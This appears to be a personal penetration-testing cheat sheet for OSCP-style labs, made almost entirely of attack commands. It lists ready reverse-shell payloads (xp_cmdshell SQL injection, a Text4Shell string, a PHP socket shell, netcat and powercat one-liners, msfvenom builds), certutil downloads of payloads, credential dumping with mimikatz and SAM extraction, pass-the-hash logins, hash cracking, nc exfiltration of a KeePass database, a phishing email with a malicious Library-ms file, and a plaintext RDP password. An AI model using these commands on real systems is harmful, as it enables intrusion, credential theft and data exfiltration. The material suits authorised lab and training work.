Escalating to "interactive" shell
- With root, can set SUID bit to /bin/bash
- python -c 'import pty; pty.spawn("/bin/bash")' (if python exists)
autorecon -v -t targets.txt
sudo env "PATH=$PATH" autorecon -v -t targets.txt (For UDP scan)
nmap -v -p 80 --script=http-title <IP>
nmap -sV -Sc <IP>
sudo nmap <IP> -p- -sV -vv --open --reason
Check for suspicious ports like 1978 mouse exploit or 9099 mobile mouse. Sometimes vm need about 5min before exploit can run
python -m http.server 80
cd /opt/chisel
./chisel server -p 1050 --reverse
. C:\Windows\temp\chisel-x64.exe client 192.168.45.213:1050 R:socks
', =, ", -- (Test for error)
'waitfor delay '0:0:10'-- (mssql test)
';exec xp_cmdshell 'certutil -urlcache -f http://192.168.45.213:444/reverse.exe C:\Windows\temp\reverse.exe';-- (mssql)
';exec master.dbo.xp_cmdshell 'cmd /c C:\Windows\temp\reverse.exe';-- (mssql to run command)
- Login page with SQL injection
- Apache version (Use searchsploit)
- Vulnerable host/web version
- CMS version with default password
- Vulnerable API (with searchsploitable stuff)
- Some sus ports with http can have an admin page or login page
For example:
Apache Commons Text 1.8 Dependency indicates vulnerable to text4shell [here](https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7)
${script:javascript:java.lang.Runtime.getRuntime().exec('busybox nc IP 443 -e /bin/bash')}
%24%7Bscript%3Ajavascript%3Ajava%2Elang%2ERuntime%2EgetRuntime%28%29%2Eexec%28%27busybox%20nc%20192%2E168%2E45%2E206%20443%20%2De%20%2Fbin%2Fbash%27%29%7D
- Login panel with 0 day rce
For example,
[vesta login panel](https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/)
busybox nc 192.168.45.199 443 -e /bin/sh in the cron
then use [this](https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/)
<?php
$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
hydra -vV -l offsec -P /usr/share/wordlists/rockyou.txt ssh://<victim>:22
ssh2john id_ecdsa > id_ecdsa.john
john --wordlist=/usr/share/wordlists/rockyou.txt id_ecdsa.john
keepass2john Database.kdbx
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.txt
zip2john sitebackup.zip > site.hashes
john --wordlist=/usr/share/wordlists/rockyou.txt site.hashes
hashcat --help | grep -i "Kerberos" (to check correct mode)
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
certutil -urlcache -f http://<attacker IP>:80/winpeas.bat C:\Windows\temp\winpeas.bat
. winPEAS.bat
whoami /all
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
. mimikatz.exe -> Privilege::debug -> sekurlsa::logonpasswords (Must be admin)
icacls
schtasks /query /v /fo LIST | Select-Object -First 40
SET in cmd.exe to see environment
. C:\Windows\temp\PrintSpoofer64.exe -i -c cmd
JuicyPotatoNG:
certutil -urlcache -f http://IP:80/JuicyPotatoNG.exe C:\Windows\temp\JuicyPotatoNG.exe
certutil -urlcache -f http://IP:80/reverse.exe C:\Windows\temp\reverse.exe
Create a bat file with content: C:\Windows\temp\reverse.exe
certutil -urlcache -f http://IP:80/rev.bat C:\Windows\temp\rev.bat
C:\Windows\temp\JuicyPotatoNG.exe -t * -p C:\Windows\temp\rev.bat
- Registry information
reg save hklm\sam sam
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
- mimikatz
- Env
[Stackoverflow command history](https://stackoverflow.com/questions/44104043/how-can-i-see-the-command-history-across-all-powershell-sessions-in-windows-serv)
[powershell history file](https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html)
Cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\
Cat C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt
- Potato attack
- Evil-winrm (with creds)
- Impacket-psexec (with creds)
- Replace high privilege exes/dlls (hijack)
- DLL search order
- AS-REP Roasting
proxychains4 impacket-GetNPUsers -dc-ip <DC ip> -request -outputfile hashes.asreproast domain.com/user (uses user with password to check if any other users do not require kerberos pre auth enabled
use hashcat to crack kerberos hash
- Abusing services and DLL hijack
Check winpeas and procmon
sc.exe create NewService binpath= c:\Users\user\Desktop\scheduler.exe
msfvenom sus dll and upload
- Check automated scripts (such as ps1 scripts)
Adding revshell.exe command to run in script etc
- Sus files are usually in C:\ or C:\Windows. Sometimes it could be in the local admin or local user Documents or Desktop.
- Sometimes there is a Windows.old in C:\ and can possibly extract sam and system
- Unquoted service path
For example:
Once winpeas identify,
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=444 -f exe > Service.exe
Net stop Service
copy Service.exe "C:\program files\Service dir\"
Net start Service
- Service with NT authority
Get-Service to see list of service
Copy-Item and Rename-Item of shell
net stop server and replace
net start later
wget http://<attacker IP>:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
history
sudo -l
./pspy64
- /etc/passwd + /etc/shadow
- history
- .ssh (Extract private key)
ssh -i pkey user@IP
/home/anita/.ssh/id_ecdsa (Different algo)
ssh -i id_ecdsa user@ip -p 2222
- Go to user /home/user and check .history
- If there is a web server, config.php etc may contain information
- If bruteforce ssh does not work, the password is probably simple (like same username etc)
- Vulnerable sudo
- history commands
- sudo -l NOPASSWD
- Privileged commands for specific applications
Example:
sudo borg list /opt/borgbackup
sudo borg extract /opt/borgbackup::home --stdout
- Potential webserver
Example:
apache24 in /usr/local/www
SUID binary
check /usr/local/etc/doas.conf
doas service apache24 onestart
netstat -na -f inet | grep LISTEN (sus port)
Writable dir
Upload webshell (csh, sh etc)
doas.conf specific group can act as root without password
checking www's group
- Log in as another user with sudo priv
- Possible cve suggestion by linpeas. Dirtypipe etc
- Local running server with vulnerable service
For example:
[jdwp shellifier](https://github.com/IOActive/jdwp-shellifier)
When waiting for event, run nc localhost 5000 to trigger
- Tar job run by root (wildcard injection)
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc IP 443 >/tmp/f" > shell.sh
See [this](https://blog.gregscharf.com/2021/03/22/tar-in-cronjob-to-privilege-escalation/) and [this](https://systemweakness.com/privilege-escalation-using-wildcard-injection-tar-wildcard-injection-a57bc81df61c)
ftp 192.158.192.247 14020 username:anonymous, pw: test
smbclient -L IP/<sharename>
smbclient -L IP/<transfer> -c ‘recurse;ls’
proxychains4 crackmapexec smb/rdp <ip> -u <user> -p <password> (User proxychains if needed. Pwn means admin)
snmpbulkwalk -c public -v2c 192.168.235.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
proxychains4 impacket-psexec tech.com/user:'password'@IP
impacket-secretsdump -sam sam -system system -security security local (just sam and system works too)
Proxychains4 impacket-psexec "Administrator":@ip -hashes aad3b435b51404eeaad3b435b51404ee:f26c0186c8ffcceb01fd2d7549e7ac1f
proxychains4 evil-winrm -i <IP> -u mario -H <hash>
download SAM /home/kali/Desktop/OSCP/SAM
msfvenom -p windows/x64/shell/reverse_tcp LHOST=IP LPORT=4444 -f exe > reverse.exe (Staged)
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f dll -o rev.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.155 LPORT=4445 -f exe -o shell.exe
Use the keepass2 application
certutil -urlcache -f http://192.168.45.155:444/nc.exe C:\Users\User\Documents\nc.exe
cmd /c 'nc.exe IP 4442 -w 3 < Database.kdbx'
nc -lvp > Database.kdbx
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=9001 --auth=anonymous --root /home/kali/Desktop/
Create a shortcut within windows: powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.155:444/powercat.ps1'); powercat -c 192.168.45.155 -p 4441 -e powershell"
Make sure to have powercat in the webdav
Create a config.Library-ms file in webdav
sudo swaks -t user@domain.com --from mail@domain.com --attach @config.Library-ms --server 192.168.217.189 --body @body.txt --header "Subject:staging script" --suppress-data -ap
gobuster dir -u http://IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
feroxbuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://IP/api
curl -i http://IP/api/heartbeat
git status
git show master/commit id
git-dumper http://IP/.git/ /home/kali/Desktop/OSCP (gitdumper)
zig cc -target x86_64-linux-gnu.2.31 -o rootshell rootshell.c
ssh -i id_ecdsa -L 9090:127.0.0.1:8000 victim@ip -p 2222 (Local port forward)
proxychains4 ssh -L 9090:127.0.0.1:9000 victim@ip
ssh -N -R 192.168.45.175:9001:127.0.0.1:9000 kali@192.168.45.175 (remote)
xfreerdp /u:maildmz /p:'SlimGodhoodMope' /v:172.16.111.7 /d:relia.com /cert-ignore /bpp:8 /compression -themes -wallpaper /auto-reconnect /h:1000 /w:1600 /drive:/home/kali/Desktop/OSCP/challenge/Relia
<ip> <web.com>
exiftool -a -u .pdf